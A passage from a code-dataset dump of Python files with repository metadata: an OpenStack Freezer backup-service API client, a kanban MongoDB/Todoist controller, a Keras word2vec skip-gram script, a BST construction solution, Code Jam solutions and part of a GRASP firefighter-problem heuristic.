log.getLogger(__name__)\n\n\n@memoized\ndef client(request):\n \"\"\"Return a freezer client object\"\"\"\n api_url = _get_service_url(request)\n # get keystone version to connect to\n\n credentials = {\n 'token': request.user.token.id,\n 'auth_url': getattr(settings, 'OPENSTACK_KEYSTONE_URL'),\n 'endpoint': api_url,\n 'project_id': request.user.project_id,\n }\n\n credentials['project_domain_name'] = \\\n request.user.domain_name or 'Default'\n\n return freezer_client.Client(**credentials)\n\n\n@memoized\ndef _get_service_url(request):\n \"\"\"Get freezer api url\"\"\"\n hardcoded_url = getattr(settings, 'FREEZER_API_URL', None)\n if hardcoded_url is not None:\n LOG.warning('Using hardcoded FREEZER_API_URL:{0}'\n .format(hardcoded_url))\n return hardcoded_url\n\n e_type = getattr(settings, 'OPENSTACK_ENDPOINT_TYPE', '')\n endpoint_type_priority = [e_type, ['internal', 'internalURL'], ['public',\n 'publicURL']]\n\n try:\n catalog = (getattr(request.user, \"service_catalog\", []))\n for c in catalog:\n if c['name'] == 'freezer':\n for endpoint_type in endpoint_type_priority:\n for e in c['endpoints']:\n if e['interface'] in endpoint_type:\n return e['url']\n raise ValueError('Could no get FREEZER_API_URL from config'\n ' or Keystone')\n except Exception:\n LOG.warning('Could no get FREEZER_API_URL from config or Keystone')\n raise\n\n\ndef get_schedule_info(context):\n \"\"\"Get schedule info from context\n\n \"\"\"\n scheduling = {}\n try:\n if context['schedule_end_date'] != '':\n utils.assign_and_remove(context, scheduling, 'schedule_end_date')\n else:\n context.pop('schedule_end_date')\n except KeyError:\n pass\n try:\n if context['schedule_interval'] != '':\n utils.assign_and_remove(context, scheduling, 'schedule_interval')\n else:\n context.pop('schedule_interval')\n except KeyError:\n pass\n try:\n if context['schedule_start_date'] != '':\n utils.assign_and_remove(context, scheduling, 'schedule_start_date')\n else:\n context.pop('schedule_start_date')\n except KeyError:\n pass\n return scheduling\n\n\nclass Job(object):\n\n def __init__(self, request):\n self.request = request\n self.client = client(request)\n\n def list(self, json=False, limit=500, offset=0, search=None):\n if search:\n search = {\"match\": [{\"_all\": search}, ], }\n\n jobs = self.client.jobs.list_all(limit=limit,\n offset=offset,\n search=search)\n if json:\n return jobs\n\n return [utils.JobObject(\n job.get('job_id'),\n job.get('description'),\n job.get('job_schedule', {}).get('result'),\n job.get('job_schedule', {}).get('status'),\n job.get('client_id')\n ) for job in jobs]\n\n def get(self, job_id, json=False):\n job = self.client.jobs.get(job_id)\n\n if json:\n return job\n\n return utils.JobObject(\n job.get('job_id'),\n job.get('description'),\n job.get('job_schedule', {}).get('result'),\n job.get('job_schedule', {}).get('event'),\n job.get('client_id'))\n\n def create(self, job):\n return self._build(job)\n\n def update(self, job_id, job):\n scheduling = get_schedule_info(job)\n job.pop('job_actions', [])\n job.pop('clients', None)\n job.pop('actions', None)\n job.pop('job_id')\n job['job_schedule'] = scheduling\n return self.client.jobs.update(job_id, job)\n\n def update_actions(self, job_id, action_ids):\n ids = utils.get_action_ids(action_ids)\n job = self.get(job_id, json=True)\n job.pop('job_actions', None)\n actions = self._get_actions_in_job(ids)\n job['job_actions'] = actions\n return self.client.jobs.update(job_id, job)\n\n def delete(self, job_id):\n return self.client.jobs.delete(job_id)\n\n def actions(self, job_id, api=False):\n job = self.get(job_id, json=True)\n\n if not job:\n return []\n\n if api:\n return job.get('job_actions', [])\n\n return [utils.ActionObject(\n action_id=a.get('action_id'),\n action=a.get('freezer_action', {}).get('action'),\n backup_name=a.get('freezer_action', {}).get('backup_name'),\n job_id=job_id\n ) for a in job.get('job_actions')]\n\n def delete_action(self, ids):\n action_id, job_id = ids.split('===')\n job = self.get(job_id, json=True)\n for action in job['job_actions']:\n if action.get('action_id') == action_id:\n job.get('job_actions').remove(action)\n return self.client.jobs.update(job_id, job)\n\n def clone(self, job_id):\n job = self.get(job_id, json=True)\n job['description'] = '{0}_clone'.format(job['description'])\n job.pop('job_id', None)\n job.pop('_version', None)\n job_id = self.client.jobs.create(job)\n return self.stop(job_id)\n\n def stop(self, job_id):\n return self.client.jobs.stop_job(job_id)\n\n def start(self, job_id):\n return self.client.jobs.start_job(job_id)\n\n def _build(self, job):\n action_ids = utils.get_action_ids(job.pop('actions'))\n job = utils.create_dict(**job)\n clients = job.pop('clients', [])\n scheduling = {}\n new_job = {}\n utils.assign_and_remove(job, scheduling, 'schedule_start_date')\n utils.assign_and_remove(job, scheduling, 'schedule_interval')\n utils.assign_and_remove(job, scheduling, 'schedule_end_date')\n\n actions = self._get_actions_in_job(action_ids)\n\n new_job['description'] = job.get('description')\n new_job['job_actions'] = actions\n new_job['job_schedule'] = scheduling\n\n for client_id in clients:\n\n search = client_id\n client = Client(self.request).list(search=search)\n\n new_job['client_id'] = client[0].id\n job_id = self.client.jobs.create(new_job)\n self.stop(job_id)\n return True\n\n def _get_actions_in_job(self, action_ids):\n actions_in_job = []\n for action_id in action_ids:\n action = Action(self.request).get(action_id, json=True)\n actions_in_job.append(action)\n return actions_in_job\n\n\nclass Session(object):\n\n def __init__(self, request):\n self.request = request\n self.client = client(request)\n\n def list(self, json=False, limit=500, offset=0, search=None):\n if search:\n search = {\"match\": [{\"_all\": search}, ], }\n\n sessions = self.client.sessions.list_all(limit=limit,\n offset=offset,\n search=search)\n\n if json:\n return sessions\n\n return [utils.SessionObject(\n session.get('session_id'),\n session.get('description'),\n session.get('status'),\n session.get('jobs'),\n session.get('schedule', {}).get('schedule_start_date'),\n session.get('schedule', {}).get('schedule_interval'),\n session.get('schedule', {}).get('schedule_end_date')\n ) for session in sessions]\n\n def get(self, session_id, json=False):\n session = self.client.sessions.get(session_id)\n\n if json:\n return session\n\n return utils.SessionObject(\n session.get('session_id'),\n session.get('description'),\n session.get('status'),\n session.get('jobs'),\n session.get('schedule', {}).get('schedule_start_date'),\n session.get('schedule', {}).get('schedule_interval'),\n session.get('schedule', {}).get('schedule_end_date'))\n\n def create(self, session):\n return self._build(session)\n\n def update(self, session, session_id):\n new_session = {'schedule': get_schedule_info(session),\n 'description': session.pop('description')}\n return self.client.sessions.update(session_id, new_session)\n\n def delete(self, session_id):\n return self.client.sessions.delete(session_id)\n\n def remove_job(self, session_id, job_id):\n try:\n # even if the job is removed from the session the api returns an\n # error.\n return self.client.sessions.remove_job(session_id, job_id)\n except Exception:\n pass\n\n def add_job(self, session_id, job_id):\n return self.client.sessions.add_job(session_id, job_id)\n\n def jobs(self, session_id):\n session = self.get(session_id, json=True)\n jobs = []\n\n if session is None:\n return jobs\n\n try:\n jobs = [utils.JobsInSessionObject(k,\n session_id,\n v['client_id'],\n v['result'])\n for k, v in session['jobs'].iteritems()]\n except AttributeError as error:\n LOG.error(error.message)\n return jobs\n\n def _build(self, session):\n session = utils.create_dict(**session)\n scheduling = {}\n utils.assign_and_remove(session, scheduling, 'schedule_start_date')\n utils.assign_and_remove(session, scheduling, 'schedule_interval')\n utils.assign_and_remove(session, scheduling, 'schedule_end_date')\n session['jobs'] = {}\n session['schedule'] = scheduling\n return self.client.sessions.create(session)\n\n\nclass Action(object):\n\n def __init__(self, request):\n self.request = request\n self.client = client(request)\n\n def list(self, json=False, limit=500, offset=0, search=None):\n if search:\n search = {\"match\": [{\"_all\": search}, ], }\n\n actions = self.client.actions.list(limit=limit,\n offset=offset,\n search=search)\n\n if json:\n return actions\n\n return [utils.ActionObjectDetail(\n action.get('action_id'),\n action['freezer_action'].get('action'),\n action['freezer_action'].get('backup_name'),\n action['freezer_action'].get('path_to_backup') or\n action['freezer_action'].get('restore_abs_path'),\n action['freezer_action'].get('storage'),\n mode=action['freezer_action'].get('mode')\n ) for action in actions]\n\n def get(self, job_id, json=False):\n\n action = self.client.actions.get(job_id)\n\n if json:\n return action\n\n return utils.ActionObjectDetail(\n action.get('action_id'),\n action['freezer_action'].get('action'),\n action['freezer_action'].get('backup_name'),\n action['freezer_action'].get('path_to_backup'),\n action['freezer_action'].get('storage'))\n\n def create(self, action):\n return self._build(action)\n\n def update(self, action, action_id):\n updated_action = {}\n updated_action['freezer_action'] = utils.create_dict(**action)\n try:\n if action['mandatory'] != '':\n updated_action['mandatory'] = action['mandatory']\n except KeyError:\n pass\n\n try:\n if action['max_retries'] != '':\n updated_action['max_retries'] = action['max_retries']\n except KeyError:\n pass\n\n try:\n if action['max_retries_interval'] != '':\n updated_action['max_retries_interval'] =\\\n action['max_retries_interval']\n except KeyError:\n pass\n return self.client.actions.update(action_id, updated_action)\n\n def delete(self, action_id):\n return self.client.actions.delete(action_id)\n\n def _build(self, action):\n \"\"\"Get a flat action dict and convert it to a freezer action format\n\n \"\"\"\n action_rules = {}\n\n utils.assign_and_remove(action, action_rules, 'max_retries')\n utils.assign_and_remove(action, action_rules, 'max_retries_interval')\n utils.assign_and_remove(action, action_rules, 'mandatory')\n action = utils.create_dict(**action)\n action.pop('action_id', None)\n # if the backup name has spaces the tar metadata file cannot be found\n # so we replace \" \" for \"_\"\n backup_name = action.pop('backup_name', None)\n action['backup_name'] = backup_name.replace(' ', '_')\n action = {'freezer_action': action}\n action.update(action_rules)\n return self.client.actions.create(action)\n\n\nclass Client(object):\n\n def __init__(self, request):\n self.request = request\n\n self.client = client(request)\n\n def list(self, json=False, limit=500, offset=0, search=None):\n if search:\n search = {\"match\": [{\"_all\": search}, ], }\n\n clients = self.client.clients.list(limit=limit,\n offset=offset,\n search=search)\n\n if json:\n return clients\n\n return [utils.ClientObject(\n c.get('client', {}).get('hostname'),\n c.get('client', {}).get('client_id'),\n c.get('client', {}).get('uuid')\n ) for c in clients]\n\n def get(self, client_id, json=False):\n c = self.client.clients.get(client_id)\n\n if json:\n return c\n\n return utils.ClientObject(\n c.get('client', {}).get('hostname'),\n c.get('client', {}).get('client_id'),\n c.get('uuid'))\n\n def delete(self, client_id):\n return self.client.clients.delete(client_id)\n\n\nclass Backup(object):\n\n def __init__(self, request):\n self.request = request\n self.client = client(request)\n\n def list(self, json=False, limit=500, offset=0, search={}):\n if search:\n search = {\"match\": [{\"_all\": search}, ], }\n\n backups = self.client.backups.list(limit=limit,\n offset=offset,\n search=search)\n\n if json:\n return backups\n\n return [utils.BackupObject(\n backup_id=b.get('backup_id'),\n action=b.get('backup_metadata', {}).get('action'),\n time_stamp=b.get('backup_metadata', {}).get('time_stamp'),\n backup_name=b.get('backup_metadata', {}).get('backup_name'),\n backup_media=b.get('backup_metadata', {}).get('backup_media'),\n path_to_backup=b.get('backup_metadata', {}).get('path_to_backup'),\n hostname=b.get('backup_metadata', {}).get('hostname'),\n container=b.get('backup_metadata', {}).get('container'),\n level=b.get('backup_metadata', {}).get('level'),\n curr_backup_level=b.get('backup_metadata', {}).get(\n 'curr_backup_level'),\n encrypted=b.get('backup_metadata', {}).get('encrypted'),\n total_broken_links=b.get('backup_metadata', {}).get(\n 'total_broken_links'),\n excluded_files=b.get('backup_metadata', {}).get('excluded_files'),\n storage=b.get('backup_metadata', {}).get('storage'),\n ssh_host=b.get('backup_metadata', {}).get('ssh_host'),\n ssh_key=b.get('backup_metadata', {}).get('ssh_key'),\n ssh_username=b.get('backup_metadata', {}).get('ssh_username'),\n ssh_port=b.get('backup_metadata', {}).get('ssh_port'),\n mode=b.get('backup_metadata', {}).get('ssh_mode'),\n ) for b in backups]\n\n def get(self, backup_id, json=False):\n\n search = {\"match\": [{\"backup_id\": backup_id}, ], }\n\n b = self.client.backups.list(limit=1, search=search)\n b = b[0]\n\n if json:\n return b\n\n return utils.BackupObject(\n backup_id=b.get('backup_id'),\n action=b.get('backup_metadata', {}).get('action'),\n time_stamp=b.get('backup_metadata', {}).get('time_stamp'),\n backup_name=b.get('backup_metadata', {}).get('backup_name'),\n backup_media=b.get('backup_metadata', {}).get('backup_media'),\n path_to_backup=b.get('backup_metadata', {}).get('path_to_backup'),\n hostname=b.get('backup_metadata', {}).get('hostname'),\n container=b.get('backup_metadata', {}).get('container'),\n level=b.get('backup_metadata', {}).get('level'),\n curr_backup_level=b.get('backup_metadata', {}).get(\n 'curr_backup_level'),\n encrypted=b.get('backup_metadata', {}).get('encrypted'),\n total_broken_links=b.get('backup_metadata', {}).get(\n 'total_broken_links'),\n excluded_files=b.get('backup_metadata', {}).get('excluded_files'),\n storage=b.get('backup_metadata', {}).get('storage'),\n ssh_host=b.get('backup_metadata', {}).get('ssh_host'),\n ssh_key=b.get('backup_metadata', {}).get('ssh_key'),\n ssh_username=b.get('backup_metadata', {}).get('ssh_username'),\n ssh_port=b.get('backup_metadata', {}).get('ssh_port'),\n mode=b.get('backup_metadata', {}).get('ssh_mode'),\n )\n\n def restore(self, data):\n backup = self.get(data['backup_id'])\n client_id = data['client']\n name = \"Restore {0} for {1}\".format(backup.backup_name, client_id)\n\n iso_date = utils.timestamp_to_iso(backup.time_stamp)\n\n action = {\n 'action': 'restore',\n 'backup_name': backup.backup_name,\n 'restore_abs_path': data['path'],\n 'container': backup.container,\n 'restore_from_host': backup.hostname,\n 'storage': backup.storage,\n 'restore_from_date': iso_date\n }\n\n if backup.storage == 'ssh':\n action['ssh_host'] = backup.ssh_host\n action['ssh_key'] = backup.ssh_key\n action['ssh_username'] = backup.ssh_username\n action['ssh_port'] = backup.ssh_port\n\n action_id = Action(self.request).create(action)\n\n job = {\n 'job_actions': [{\n 'action_id': action_id,\n 'freezer_action': action\n }],\n 'client_id': client_id,\n 'description': name,\n 'job_schedule': {}\n }\n job_id = self.client.jobs.create(job)\n return Job(self.request).start(job_id)\n\n def delete(self, backup_id):\n return self.client.backups.delete(backup_id)\n","repo_name":"openstack/freezer-web-ui","sub_path":"disaster_recovery/api/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":19741,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"61"} +{"seq_id":"20752471901","text":"from pymongo import MongoClient\nfrom Enums import Msg_Level\nfrom api_controller import *\nimport json\nimport logging\nfrom copy import deepcopy\n\nclass Database(object):\n def __init__(self, token):\n self.api = load_api_controller(token)\n self.api.sync()\n\n self.client = MongoClient(\"mongodb://localhost:27017/\")\n self.db = self.client[\"kanban-scan\"]\n self.ticket_collection = self.db[\"tickets\"]\n self.section_collection = self.db[\"sections\"]\n\n self.data = {}\n\n def reset(self):\n self.api.sync()\n\n commands = 0\n for ticket in self.api.state[\"items\"]:\n try:\n ticket.delete()\n commands += 1\n if commands == 40:\n self.api.commit()\n commands = 0\n except:\n logging.warning(\"Sync error with the Todoist API\")\n\n commands = 0\n for section in self.api.state[\"projects\"]:\n try:\n section.delete()\n commands += 1\n if commands == 40:\n self.api.commit()\n commands = 0\n except:\n logging.warning(\"Sync error with the Todoist API\")\n\n try: \n logging.info(\"API - Removing tickets and sections from Todoist\")\n self.api.commit()\n except:\n logging.warning(\"Sync error with the Todoist API\")\n\n self.ticket_collection.drop()\n self.section_collection.drop()\n\n def init_ticket_collection(self, ticket_file, settings_id):\n project_id = create_project(self.api, \"database\", -2)\n self.section_collection.insert_one({\"name\" : \"database\", \"rest_id\" : project_id})\n\n with open(ticket_file) as tickets:\n ticket_data = json.load(tickets)[settings_id]\n self.data[\"Tickets\"] = deepcopy(ticket_data)\n\n rest_mapping = create_items(self.api, ticket_data, project_id)\n for ticket_num, ticket in self.data[\"Tickets\"].items():\n \n self.data[\"Tickets\"][ticket_num][\"history\"] = \"\"\n self.ticket_collection.insert_one({\n \"_id\" : ticket_num,\n \"rest_id\" : rest_mapping[ticket_num][\"rest_id\"],\n \"description\" : ticket[\"description\"],\n \"assignee\" : \"\",\n \"current_section_name\" : \"database\",\n \"history\" : \"\",\n \"errors\" : []\n })\n\n def update_ticket(self, ticket, ticket_data, section_name):\n self.api.sync()\n section_rest_id = self.section_collection.find_one({\"name\" : section_name})[\"rest_id\"]\n \n if ticket.num in ticket_data.keys():\n ticket_rest_id = self.ticket_collection.find_one({\"_id\" : ticket.num})[\"rest_id\"]\n update_item(self.api, ticket, ticket_rest_id, section_rest_id)\n\n query = {\"_id\" : ticket.num}\n update = {\n \"$set\" : {\n \"description\" : ticket.desc,\n \"assignee\" : ticket.assignee_names,\n \"current_section_name\" : section_name,\n \"history\" : ticket_data[ticket.num][\"history\"],\n \"errors\" : [err.name for err in ticket.errors]\n }\n }\n\n self.ticket_collection.update_one(query, update)\n\n self.api.commit()\n\n\n def init_section_collection(self, section_file, settings_id):\n project_id = create_project(self.api, \"kanban-scan\", -1)\n self.section_collection.insert_one({\"name\" : \"kanban-scan\", \"rest_id\" : project_id})\n\n with open(section_file) as section_data:\n section_data = json.load(section_data)[settings_id]\n self.data[\"Sections\"] = deepcopy(section_data)\n\n rest_mapping = create_projects(self.api, section_data[\"map_string\"])\n\n for section_num, section_name in self.data[\"Sections\"][\"map_string\"].items():\n self.section_collection.insert_one({\n \"_id\" : section_num,\n \"rest_id\" : rest_mapping[section_num],\n \"name\" : section_name\n })\n\n\n def update_section(self, section):\n if section.function in (Function.TICKET, Function.FINAL):\n section_rest_id = self.section_collection.find_one({\"name\" : section.name})[\"rest_id\"]\n update_project(self.api, section, section_rest_id)\n self.api.commit()\n\n\n","repo_name":"rjofarukh/kanban-scan","sub_path":"src/db_controller.py","file_name":"db_controller.py","file_ext":"py","file_size_in_byte":4527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34410613468","text":"from keras.preprocessing import text\r\n\r\ntokenizer = text.Tokenizer()\r\ntokenizer.fit_on_texts(norm_bible)\r\n\r\nword2id = tokenizer.word_index\r\nid2word = {v:k for k, v in word2id.items()}\r\n\r\nvocab_size = len(word2id) + 1 \r\nembed_size = 100\r\n\r\nwids = [[word2id[w] for w in text.text_to_word_sequence(doc)] for doc in norm_bible]\r\nprint('Vocabulary Size:', vocab_size)\r\nprint('Vocabulary Sample:', list(word2id.items())[:10])\r\n\r\nfrom keras.preprocessing.sequence import skipgrams\r\n\r\n# generate skip-grams\r\nskip_grams = [skipgrams(wid, vocabulary_size=vocab_size, window_size=10) for wid in wids]\r\n\r\n\r\nfrom keras.layers import Merge\r\nfrom keras.layers.core import Dense, Reshape\r\nfrom keras.layers.embeddings import Embedding\r\nfrom keras.models import Sequential\r\n\r\n# build skip-gram architecture\r\nword_model = Sequential()\r\nword_model.add(Embedding(vocab_size, embed_size,\r\n embeddings_initializer=\"glorot_uniform\",\r\n input_length=1))\r\nword_model.add(Reshape((embed_size, )))\r\n\r\ncontext_model = Sequential()\r\ncontext_model.add(Embedding(vocab_size, embed_size,\r\n embeddings_initializer=\"glorot_uniform\",\r\n input_length=1))\r\ncontext_model.add(Reshape((embed_size,)))\r\n\r\nmodel = Sequential()\r\nmodel.add(Merge([word_model, context_model], mode=\"dot\"))\r\nmodel.add(Dense(1, kernel_initializer=\"glorot_uniform\", activation=\"sigmoid\"))\r\nmodel.compile(metrics=['accuracy'], optimizer=\"rmsprop\")\r\n\r\n# view model summary\r\nprint(model.summary())\r\n\r\n# visualize model structure\r\nfrom IPython.display import SVG\r\nfrom keras.utils.vis_utils import model_to_dot\r\n\r\nSVG(model_to_dot(model, show_shapes=True, show_layer_names=False, \r\n rankdir='TB').create(prog='dot', format='svg'))\r\n\r\n\r\n# Train the Model\r\nfor epoch in range(1, 6):\r\n loss = 0\r\n for i, elem in enumerate(skip_grams):\r\n pair_first_elem = np.array(list(zip(*elem[0]))[0], dtype='int32')\r\n pair_second_elem = np.array(list(zip(*elem[0]))[1], dtype='int32')\r\n labels = np.array(elem[1], dtype='int32')\r\n X = [pair_first_elem, pair_second_elem]\r\n Y = labels\r\n if i % 10000 == 0:\r\n print('Processed {} (skip_first, skip_second, relevance) pairs'.format(i))\r\n loss += model.train_on_batch(X,Y) \r\n\r\n scores = model.evaluate(X_test, y_test, verbose=0)\r\nprint(\"Accuracy: %.2f%%\" % (scores[1]*100))\r\n\r\n# To get word embeddings for our entire vocabulary\r\nmerge_layer = model.layers[0]\r\nword_model = merge_layer.layers[0]\r\nword_embed_layer = word_model.layers[0]\r\nweights = word_embed_layer.get_weights()[0][1:]\r\n\r\nprint(weights.shape)\r\npd.DataFrame(weights, index=id2word.values()).head()\r\n\r\n# import euclidean distances\r\n\r\nfrom sklearn.metrics.pairwise import euclidean_distances\r\n\r\ndistance_matrix = euclidean_distances(weights)\r\nprint(distance_matrix.shape)\r\n\r\nsimilar_words = {search_term: [id2word[idx] for idx in distance_matrix[word2id[search_term]-1].argsort()[1:6]+1] \r\n for search_term in ['god', 'jesus', 'noah', 'egypt', 'john', 'gospel', 'moses',]}\r\n\r\nsimilar_words\r\n\r\n# visualization\r\nfrom sklearn.manifold import TSNE\r\n\r\nwords = sum([[k] + v for k, v in similar_words.items()], [])\r\nwords_ids = [word2id[w] for w in words]\r\nword_vectors = np.array([weights[idx] for idx in words_ids])\r\nprint('Total words:', len(words), '\\tWord Embedding shapes:', word_vectors.shape)\r\n\r\ntsne = TSNE(n_components=2, random_state=0, n_iter=10000, perplexity=3)\r\nnp.set_printoptions(suppress=True)\r\nT = tsne.fit_transform(word_vectors)\r\nlabels = words\r\n\r\nplt.figure(figsize=(14, 8))\r\nplt.scatter(T[:, 0], T[:, 1], c='steelblue', edgecolors='k')\r\nfor label, x, y in zip(labels, T[:, 0], T[:, 1]):\r\n plt.annotate(label, xy=(x+1, y+1), xytext=(0, 0), textcoords='offset points')","repo_name":"zunimalik777/DeepLearning-Turkish-Word2vec-Analysis","sub_path":"Word2vec_skipgram.py","file_name":"Word2vec_skipgram.py","file_ext":"py","file_size_in_byte":3793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23539925341","text":"for t in range(int(input())):\r\n s, k = input().split()\r\n s = [1 if c=='+' else 0 for c in s]\r\n k = int(k)\r\n flips = 0\r\n for i in range(len(s)-k+1):\r\n if s[i]==0:\r\n flips += 1\r\n for j in range(i, i+k):\r\n s[j] ^= 1\r\n for i in range(len(s)-k+1, len(s)):\r\n if s[i]==0:\r\n flips = 'IMPOSSIBLE'\r\n break\r\n\r\n print('Case #{}: {}'.format(t+1, flips))","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/1261.py","file_name":"1261.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23566451431","text":"def increment(d, l, index):\n if index in d:\n d[index] += 1\n else:\n d[index] = 1\n l.append(index)\n l.sort()\n\n\ndef occupy(s):\n num_stalls, num_people = [int(x) for x in s.split(\" \")]\n free, free_index = dict(), []\n free[num_stalls] = 1\n free_index.append(num_stalls)\n\n count = 1\n while count <= num_people:\n #print(\"free_index: \", free_index)\n #print(\"free: \", free)\n\n length = free_index[-1]\n free[length] -= 1\n if free[length] == 0:\n free_index.remove(length)\n if length % 2 == 0:\n increment(free, free_index, length // 2)\n increment(free, free_index, length // 2 - 1)\n max, min = length // 2, length // 2 - 1\n else:\n increment(free, free_index, length // 2)\n free[length // 2] += 1\n max, min = length // 2, length // 2\n\n if count == num_people:\n return max, min\n\n count += 1\n\n\ndef main():\n l = int(input())\n for i in range(l):\n max, min= occupy(input())\n print(\"Case #{}: {} {}\".format(i + 1, max, min))\n\nmain()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_201/1139.py","file_name":"1139.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72565687874","text":"'''\n\nDescription:\n\nReturn the root node of a binary search tree that matches the given preorder traversal.\n\n(Recall that a binary search tree is a binary tree where for every node, any descendant of node.left has a value < node.val, and any descendant of node.right has a value > node.val. Also recall that a preorder traversal displays the value of the node first, then traverses node.left, then traverses node.right.)\n\n \n\nExample 1:\n\nInput: [8,5,1,7,10,12]\nOutput: [8,5,10,1,7,null,12]\n\n \n\nNote: \n\n1 <= preorder.length <= 100\nThe values of preorder are distinct.\n\n'''\n\n\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nfrom typing import List\nclass Solution:\n def bstFromPreorder(self, preorder: List[int]) -> TreeNode:\n \n # Base case:\n # empty list\n if not preorder:\n return None\n\n # Create root node by the property of (Current, Left, Right) of pre-order traversal\n root = TreeNode( preorder[0] )\n\n middle = len(preorder)\n for i,x in enumerate(preorder):\n if x > preorder[0]:\n middle = i\n break\n \n # Divide and conquer\n root.left = self.bstFromPreorder( preorder[1:middle])\n root.right = self.bstFromPreorder( preorder[middle:] )\n\n return root\n \n\n\n# n : the length of preorder sequence, \n\n## Time Complexity: O( n )\n#\n# The overhead in time is the cost of pre-order DFS traversal, which is of O( n )\n\n## Space Complexity: O( n^2 )\n#\n# The overhead in space is the storage for list copy in DFS, which is of O( n^2 )\n\n\n\ndef inorder_print( node: TreeNode):\n\n if node:\n\n inorder_print( node.left )\n print( f'{node.val} ', end = ' ')\n inorder_print( node.right )\n\n\nfrom collections import namedtuple\nTestEntry = namedtuple('TestEntry', 'pre_order_sequence')\ndef test_bench():\n\n test_data = [ \n TestEntry( pre_order_sequence = [8,5,1,7,10,12] ),\n TestEntry( pre_order_sequence = [5,3,2,4,7,6,8] ),\n ]\n\n # expected output:\n '''\n 1 5 7 8 10 12 \n 2 3 4 5 6 7 8\n '''\n\n for t in test_data:\n\n root = Solution().bstFromPreorder( preorder = t.pre_order_sequence )\n\n inorder_print( root )\n print()\n\n return\n\n\n\nif __name__ == '__main__':\n\n test_bench()","repo_name":"brianchiang-tw/leetcode","sub_path":"No_1008_Construct Binary Search Tree from Preorder Traversal/construct_binary_search_tree_from_preorder_traversal_by_divide_and_conquer.py","file_name":"construct_binary_search_tree_from_preorder_traversal_by_divide_and_conquer.py","file_ext":"py","file_size_in_byte":2444,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"61"} +{"seq_id":"43569603414","text":"'''\nProjeto Final: Mateurística para o Problema dos Brigadistas.\n\nNatGRASP.py: Mateurística baseada no GRASP criada por Natanael Ramos et al.\n\nDisciplina:\n MC859/MO824 - Pesquisa Operacional.\nAutores:\n Eduardo Barros Innarelli - RA 170161\n Victor Ferreira Ferrari - RA 187890\n\nUniversidade Estadual de Campinas - UNICAMP - 2020\n\nModificado em: 07/01/2021\n'''\n\nfrom argparse import ArgumentParser\nfrom math import ceil, inf\nfrom random import sample, seed\nfrom time import time\nfrom types import FunctionType\nfrom os.path import exists, split\n\nfrom Solution import Solution\nfrom FFP import FFP\nfrom f_desc import num_of_descendants\n\n\nclass NatGRASP(object):\n def __init__(self, ffp: FFP, k: int, f: FunctionType, eps: float,\n time_limit: float, start_time: float):\n self.ffp = ffp\n self.k = k\n self.f = f\n self.eps = eps\n self.limit = time_limit\n self.start_time = start_time\n\n def constructive_heuristic_th(self, alpha: float):\n '''\n Heurística construtiva Th executada no modo probabilístico, onde em\n cada etapa são escolhidos até D vértices para serem defendidos de forma\n aleatória, com maior prioridade àqueles que estão ameaçados.\n\n Args:\n alpha (float): parâmetro alpha do GRASP, que rege o quão guloso\n ou aleatória é a heurística.\n Returns:\n A solução com os vértices defendidos, queimados e o custo.\n '''\n\n B = self.ffp.B\n D = self.ffp.D\n G = self.ffp.G\n n = G.number_of_nodes()\n\n # Inicialmente defendidos e queimados\n defended = set()\n burned = set(B)\n\n # Conjunto de vértices intocados\n U = set(G.nodes - B)\n\n # Registrar iterações em que um vértice é \"tocado\" (defendido ou\n # queimado)\n its = [0 if v in burned else inf for v in range(n)]\n t = 1\n\n # Tentar executar enquanto houver vértices intocados\n while len(U) > 0:\n\n # Os vértices ameaçados são os vizinhos dos vértices queimados que\n # não estão defendidos ou queimados\n th = set()\n for b in burned:\n th.update([\n v_n for v_n in G.adj[b]\n if v_n not in defended.union(burned)\n ])\n\n # Se não houver vértices ameaçados, todos estão queimados,\n # defendidos ou salvos\n if len(th) == 0:\n break\n\n # Rankear candidatos (maior prioridade aos ameaçados)\n ranked = list(th) + list(U - th)\n\n # Construir lista de candidatos restritos (RCL)\n RCL = ranked[:ceil(alpha * len(ranked))]\n\n # Defender até D vértices da RCL\n defend = sample(RCL, D if D < len(RCL) else len(RCL))\n\n # Queimar vértices ameaçados não defendidos\n burn = th - set(defend)\n\n # Atualizar iterações\n for v in burn.union(defend):\n its[v] = t\n t += 1\n\n # Atualizar conjuntos\n U -= th.union(defend)\n defended.update(defend)\n burned.update(burn)\n\n # Construir e retornar solução\n sol = Solution(defended=defended, burned=burned,\n iterations=its, T=t)\n sol.calculate_cost(G)\n sol.construct_full_neighborhood(self.k, G)\n return sol\n\n def pool_selection(self, S: set, rho: int):\n '''\n Método que seleciona um pool de tamanho `rho` do conjunto de soluções\n `S`. O objetivo é selecionar um nº pequeno de soluções diversas e de\n boa qualidade, visto que a busca local envolve a resolução do modelo\n PLI.\n\n Args:\n S (set): conjunto de soluções únicas geradas pela heurística\n construtiva.\n rho (int): tamanho desejado do pool.\n Returns:\n O pool de soluções selecionado.\n '''\n\n S = sorted(S, key=lambda s: s.cost)\n\n # Criar vetor q de quartis q1, q2, q3 e q4 de S\n # https://pt.wikipedia.org/wiki/Quartil\n n = len(S)\n q = [\n S[n // 4].cost, # q1\n (S[n // 2].cost + S[(n + 1) // 2].cost) / 2 \\\n if n % 2 == 0 else S[n // 2].cost, # q2\n S[3*n // 4].cost, # q3\n S[-1].cost # q4\n ]\n\n # Subconjuntos Si com soluções de S (menos a melhor) distribuidas entre\n # os quartis\n best = S.pop()\n Si = [[], [], [], []]\n i = 0\n for s in S:\n # Obs: podem haver quartis iguais, por isso o while\n while s.cost > q[i] and i < 3:\n i += 1\n Si[i].append(s)\n\n # Iniciar pool e armazenar vizinhanças\n pool = []\n n_s = {s: s.neighborhood for s in S}\n n_best = 